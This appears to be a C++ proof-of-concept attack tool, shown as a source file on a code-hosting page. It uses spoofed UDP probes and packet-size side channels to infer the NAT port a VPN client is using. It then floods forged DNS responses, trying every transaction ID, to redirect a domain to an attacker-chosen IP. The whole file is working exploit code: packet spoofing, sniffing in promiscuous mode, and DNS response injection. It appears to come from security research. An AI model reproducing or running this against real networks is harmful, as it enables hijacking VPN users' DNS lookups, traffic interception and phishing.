You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

619 lines
16 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. #include <random>
  8. using std::thread;
  9. using std::cout;
  10. using std::string;
  11. using std::vector;
  12. using namespace Tins;
  13. int current_spoof_port, best_port, chack_count, resp_count, sniff_size;
  14. bool is_running = true;
  15. bool verbose = false;
  16. bool count_resp = false;
  17. bool scanning = false;
  18. bool injecting = false;
  19. bool sniffed_resp = false;
  20. string dest_ip;
  21. string source_ip;
  22. void print_start() {
  23. cout << "meep\n";
  24. usleep(1000000 / 2);
  25. cout << "meep\n";
  26. usleep(1000000 /2);
  27. cout << R"(
  28. __
  29. / \ __
  30. .---. _ / / _.~ \
  31. \ `. / \ / /.-~ __/
  32. `\ \ | | |/ .-~ __
  33. \ \ | | | .'--~~ \
  34. \ \ | | ` ' _______/
  35. \ \ | ` /
  36. .--. \ \ | ` /
  37. \ `.\ \ \ /
  38. `\ \ \ `\ (
  39. \ \ \ > ,-.-.
  40. \ `. \ / | \ \
  41. \ . \ /___| O |O\ ,
  42. .-. \ ; | /` `^-.\.-'`--'/
  43. \ `; | | /
  44. `\ \ | `. `--..____,'
  45. \ `. | `._ _.-'^
  46. \ . / `|`|`
  47. .-.\ / | |
  48. \ `\ / | |
  49. `\ ` | | |
  50. \ | | |
  51. .-. | | |
  52. \ `. \ | |
  53. `\ \ | |
  54. \ \ | |
  55. \_____ :-'~~~~~'-' ;
  56. /____;``-. :
  57. <____( `. ;
  58. \___\ ; .'
  59. /``--'~___.-'
  60. /\___/^/__/
  61. / /' /`/'
  62. \ \ `\ \
  63. `\ \ \ \
  64. \ \ \ \
  65. \ \ \ \
  66. \ \ \ \ ______
  67. \ \ ___\ \'~``______)>
  68. \ \___ _______ __)>
  69. _____\ \'~``______)>
  70. <(_______.._______)>
  71. )";
  72. usleep(1000000);
  73. }
  74. void print_divider(int count) {
  75. int i = 0;
  76. while (i < count) {
  77. if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  78. i++;
  79. }
  80. }
  81. void print_time() {
  82. int res = system("date");
  83. }
  84. // Used by thread to keep track of last port
  85. // we spoofed to
  86. //
  87. bool handle_send_packet(PDU &some_pdu) {
  88. const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  89. if (ip.src_addr() == source_ip) current_spoof_port = some_pdu.rfind_pdu<UDP>().dport();
  90. return is_running;
  91. }
  92. // Used by sniffing thread to look for packets
  93. // NAT'ed back to the client that we may have
  94. // spoofed
  95. //
  96. bool handle_packet(PDU &some_pdu) {
  97. const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  98. // should be looking for a packet from the VPN server and to the VPN client
  99. //
  100. // src ip will be the VPN server and dest ip will be the public address
  101. // of the VPN client
  102. if (ip.src_addr() == dest_ip && !injecting) { // dest_ip should be public VPN IP
  103. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  104. //cout << "sniffed packet going from VPN server with port: " << current_spoof_port << ", size: " << payload << " \n";
  105. // 97 is the size of empty UDP packet NAT'ed back to the client so only look for packets that are bigger
  106. //
  107. if (payload >= 97 && payload != 147) { // could be a NAT'ed attacker packet
  108. if (verbose) cout << "sniffed response from VPN server with port: " << current_spoof_port << ", size: " << payload << " \n";
  109. best_port = current_spoof_port;
  110. sniff_size = payload - 97;
  111. sniffed_resp = true;
  112. if (count_resp) resp_count ++;
  113. }
  114. }
  115. return is_running;
  116. }
  117. // Start sniffing things on one of the
  118. // attack router interfaces
  119. //
  120. void sniff_stuff() {
  121. SnifferConfiguration config;
  122. config.set_promisc_mode(true);
  123. Sniffer sniffer("enp0s8", config);
  124. sniffer.sniff_loop(handle_packet);
  125. }
  126. // Sniff outgoing interface for packets we send
  127. // to get a better approx of the last packet sent
  128. //
  129. void sniff_send_stuff() {
  130. SnifferConfiguration config;
  131. config.set_promisc_mode(true);
  132. Sniffer sniffer("any", config);
  133. sniffer.sniff_loop(handle_send_packet);
  134. }
  135. // Generate random string of some length to send
  136. // in attack probes
  137. //
  138. std::string random_string(std::size_t length) {
  139. const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  140. std::random_device random_device;
  141. std::mt19937 generator(random_device());
  142. std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);
  143. string random_string;
  144. for (std::size_t i = 0; i < length; ++i) {
  145. random_string += CHARACTERS[distribution(generator)];
  146. }
  147. return random_string;
  148. }
  149. // Spread udp packets across a given port
  150. // range while increasing the size each time
  151. //
  152. int port_spread(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  153. PacketSender sender;
  154. NetworkInterface iface("enp0s9");
  155. IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport);
  156. UDP& udp = pkt.rfind_pdu<UDP>();
  157. int current_port = best_port;
  158. int spoof_port = start_port;
  159. int send_size = 0;
  160. int send_count = 0;
  161. string send_payload = random_string(send_size);
  162. cout << "spreading the port range from " << start_port << " to " << end_port << " with udps..\n";
  163. while (spoof_port < end_port && !sniffed_resp) {
  164. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  165. current_spoof_port = spoof_port;
  166. //udp.dport(spoof_port); // set the packets dest port to current guess
  167. int round_sends = 0;
  168. while (round_sends < 4) { // send 4 at a time then sleep again
  169. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  170. udp.dport(spoof_port);
  171. current_spoof_port = spoof_port;
  172. sender.send(pkt, iface);
  173. spoof_port++;
  174. send_size ++;
  175. round_sends ++;
  176. send_payload = random_string(send_size);
  177. if (send_size >= 1000) { // reset probe size back to 0 on every 1000th port
  178. send_size = 0;
  179. if (verbose) cout << "Sent w size 1000 to " << spoof_port << "\n";
  180. }
  181. }
  182. // if the payload size reaches 1000 (max), reset back to 0
  183. if (send_size >= 1000) {
  184. send_size = 0;
  185. if (verbose) cout << "Sent w size 1000 to " << spoof_port << "\n";
  186. }
  187. usleep(25); // scan send delay *** working w 30 before
  188. }
  189. if (!sniffed_resp) usleep(1000000 / 3); // wait a third of a second just in case it was at the very top of the port range (i.e. ~61k)
  190. current_port = best_port;
  191. if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
  192. if (verbose) cout << "size of round 1 response: " << sniff_size << "\n";
  193. if (!sniffed_resp) current_port = 0;
  194. return current_port;
  195. }
  196. // Send to the range of approximate ports
  197. // again with different sizes to find the exact
  198. // one in use
  199. //
  200. int find_exact_port(int block_port, int last_port, int last_size, string source_ip, int sport, string dest_ip) {
  201. // Using the size of the first round response we know we're within
  202. // about 16 ports of the exact one in use but because of the delay it
  203. // could be in one of a few different 1k blocks
  204. PacketSender sender;
  205. NetworkInterface iface("enp0s9");
  206. int block_start = block_port - 10000 + last_size; // start 10 thousand blocks back plus the sniff size
  207. int spoof_port = block_start - 3;
  208. int max_port = spoof_port + 16; // only check 16 ports in each thousand block
  209. int send_size = 0;
  210. int current_port = 0;
  211. string send_payload = random_string(0);
  212. sniffed_resp = false;
  213. IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport);
  214. UDP& udp = pkt.rfind_pdu<UDP>();
  215. while (!sniffed_resp && spoof_port < (block_port + 1000)) {
  216. send_payload = random_string(send_size);
  217. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  218. current_spoof_port = spoof_port;
  219. udp.dport(spoof_port); // set the packets dest port to current guess
  220. if (verbose) cout << "sending to port: " << (spoof_port) << " w size: " << send_size << "\n";
  221. sender.send(pkt, iface);
  222. spoof_port++;
  223. send_size += 5;
  224. if (spoof_port > max_port) {
  225. spoof_port += (1000 - 17); // jump to the next thousand block
  226. max_port = spoof_port + 16;
  227. }
  228. usleep(2000);
  229. }
  230. while (!sniffed_resp) {
  231. usleep(500000);
  232. if (verbose) cout << "waiting for round 2 resp..\n";
  233. }
  234. current_port = best_port;
  235. if (verbose) cout << "size of round 2 response: " << sniff_size << "\n";
  236. if (verbose) print_divider(2);
  237. bool found = false;
  238. // Go over the exact same loop as round 2 without sending
  239. // until we find the port that would have triggered the size
  240. // that was sniffed
  241. spoof_port = block_start - 3;
  242. max_port = spoof_port + 16;
  243. send_size = 0;
  244. while (!found && spoof_port < (block_port + 1000)) {
  245. if (send_size > sniff_size) {
  246. // we just passed the port that matched the connection
  247. if (verbose) cout << "port on size match: " << spoof_port << "\n";
  248. current_port = spoof_port;
  249. found = true;
  250. }
  251. spoof_port++;
  252. send_size += 5;
  253. if (spoof_port > max_port) {
  254. spoof_port += (1000 - 17);
  255. max_port = spoof_port + 16;
  256. }
  257. }
  258. // Do one final scan within +-3 ports of approx to make sure
  259. // we have the exact port in use
  260. int start_port = current_port - 3;
  261. spoof_port = start_port;
  262. max_port = spoof_port + 6;
  263. send_size = 0;
  264. sniffed_resp = false;
  265. while (!sniffed_resp && spoof_port < max_port) {
  266. send_payload = random_string(send_size);
  267. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  268. current_spoof_port = spoof_port;
  269. udp.dport(spoof_port); // set the packets dest port to current guess
  270. if (verbose) cout << "sending final round spoof to port: " << (spoof_port) << " w size: " << send_size << "\n";
  271. sender.send(pkt, iface);
  272. spoof_port += 1;
  273. send_size += 240;
  274. }
  275. while (!sniffed_resp) {
  276. usleep(500000);
  277. if (verbose) cout << "waiting for final exact scan resp..\n";
  278. }
  279. current_port = best_port;
  280. if (verbose) cout << "size of final exact response: " << sniff_size << "\n";
  281. int exact = start_port + (sniff_size / 240);
  282. //cout << "FINAL EXACT PORT: " << exact << "\n\n";
  283. return exact;
  284. }
  285. // Spread udp packets across a port range to find the estimated
  286. // port in use that forwards packet back to the client, then repeat the
  287. // scan in the estimated range to find the exact one in use
  288. //
  289. int scan_for_port(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  290. PacketSender sender;
  291. NetworkInterface iface("enp0s9");
  292. int i;
  293. // Find the estimated port
  294. scanning = true;
  295. int current_port = port_spread(source_ip, sport, dest_ip, start_port, end_port);
  296. scanning = false;
  297. if (current_port == 0) return 0;
  298. int j = 0;
  299. int exact_port = 0;
  300. if (verbose) print_divider(2);
  301. sniffed_resp = false;
  302. cout << "estimated port: " << current_port << " w sniff size: " << sniff_size << "\n";
  303. int last_port = current_port;
  304. int block_port = last_port;
  305. while (block_port % 1000 != 0) {
  306. block_port --;
  307. }
  308. if (verbose) cout << "highest port block: " << block_port << "\n";
  309. // Find the exact port in use
  310. int exact = find_exact_port(block_port, last_port, sniff_size, source_ip, sport, dest_ip);
  311. if (verbose) cout << "some exact port? " << exact << "\n";
  312. exact_port = exact;
  313. return exact_port;
  314. }
  315. // Not used now but could be added to recheck X times that a
  316. // port is truly in use and forwarding packets back to the client
  317. //
  318. int recheck_port(int num_checks, int approx_port, string source_ip, int sport, string dest_ip) {
  319. PacketSender sender;
  320. NetworkInterface iface("enp0s9");
  321. IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport); /// RawPDU("long message here actually a whole lot longer than the other one");
  322. UDP& udp = pkt.rfind_pdu<UDP>();
  323. bool is_found = false;
  324. int curr_port = approx_port - 1;
  325. while (!is_found){
  326. cout << "rechecking port: " << curr_port << "\n";
  327. udp.dport(curr_port); // set the packets dest port to current guess
  328. for (int i = 0; i < num_checks; i ++) {
  329. sender.send(pkt, iface);
  330. usleep(1000);
  331. }
  332. if (resp_count == num_checks) {
  333. is_found = true;
  334. } else {
  335. curr_port ++;;
  336. usleep(300000);
  337. }
  338. }
  339. int final_port = best_port;
  340. int other_final = curr_port - 1;
  341. cout << "maybe better final approx? " << other_final << "\n";
  342. return final_port;
  343. }
  344. // Attempt to inject the dns response to the given 4 tuple (src_ip, sport, dest_ip, dport)
  345. // while cycling through all possible txIDs for the dns reply
  346. //
  347. int send_dns(string src_ip, int sport, string dest_ip, int dport) {
  348. PacketSender sender;
  349. NetworkInterface iface("enp0s10");
  350. IP pkt = IP(dest_ip, src_ip) / UDP(dport, sport) / DNS();
  351. cout << "Attempting to inject dns response on port " << dport << "\n\n";
  352. string spoof_domain = "yo.com";
  353. string redirect_ip = "22.22.22.22";
  354. injecting = true;
  355. // Add the fake response
  356. pkt.rfind_pdu<DNS>().add_query({ spoof_domain, DNS::A, DNS::IN });
  357. pkt.rfind_pdu<DNS>().add_answer(
  358. DNS::resource(
  359. spoof_domain,
  360. redirect_ip, // some bad guy IP we wanna redirect to
  361. DNS::A,
  362. 1, // class of the record??
  363. // 777 is just a random TTL
  364. 777
  365. )
  366. );
  367. // We want the query to be resolverd recursively
  368. pkt.rfind_pdu<DNS>().type(DNS::QRType::RESPONSE);
  369. pkt.rfind_pdu<DNS>().recursion_desired(1);
  370. pkt.rfind_pdu<DNS>().recursion_available(1);
  371. int round_sends = 0;
  372. int id = 1;
  373. int num_blocks = 6;
  374. int block_size = int(65535 / num_blocks); // 65535 is max transaction id for dns
  375. while (id < block_size) { // try every txId in the block
  376. int send_id = id;
  377. while (round_sends < num_blocks) { // send once to each block
  378. pkt.rfind_pdu<DNS>().id(send_id); // set the transaction id guess
  379. sender.send(pkt, iface);
  380. send_id += block_size;
  381. round_sends ++;
  382. }
  383. if (id % 1000 == 0) cout << "sending dns response w id: " << id << "\n";
  384. id ++;
  385. round_sends = 0;
  386. usleep(100); // was working 100% w 250
  387. }
  388. return 1;
  389. }
  390. int find_ports(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  391. bool is_found = false;
  392. int current_port = 0;
  393. int last_port = start_port;
  394. while (!is_found) {
  395. sniffed_resp = false;
  396. print_time();
  397. int exact_port = scan_for_port(source_ip, sport, dest_ip, last_port, end_port);
  398. print_divider(2);
  399. if (exact_port == 0) is_found = true;
  400. else {
  401. cout << "found some exact port: " << exact_port << "\n\n";
  402. print_time();
  403. send_dns(source_ip, sport, dest_ip, exact_port);
  404. usleep(1000000);
  405. injecting = false;
  406. }
  407. resp_count = 0;
  408. print_divider(1);
  409. int next_port = exact_port + 2;
  410. while (next_port % 1000 != 0) {
  411. next_port ++;
  412. }
  413. last_port = next_port;
  414. }
  415. return 1;
  416. }
  417. int main(int argc, char** argv) {
  418. if (argc != 6) {
  419. cout << "sike wrong number of args ---> (source_ip, sport, dest_ip, start_port, end_port)\n";
  420. return 0;
  421. }
  422. source_ip = argv[1]; // dns server IP
  423. int sport = atoi(argv[2]); // most likely 53
  424. dest_ip = argv[3]; // vpn server IP
  425. verbose = true;
  426. int start_port = atoi(argv[4]); // Linux ephemeral range is (32768, 60999)
  427. int end_port = atoi(argv[5]);
  428. print_divider(2);
  429. thread sniff_thread(sniff_stuff);
  430. thread send_sniff_thread(sniff_send_stuff);
  431. int res = find_ports(source_ip, sport, dest_ip, start_port, end_port);
  432. //sniff_thread.join();
  433. //send_sniff_thread.join();
  434. sniff_thread.detach();
  435. send_sniff_thread.detach();
  436. return 1;
  437. }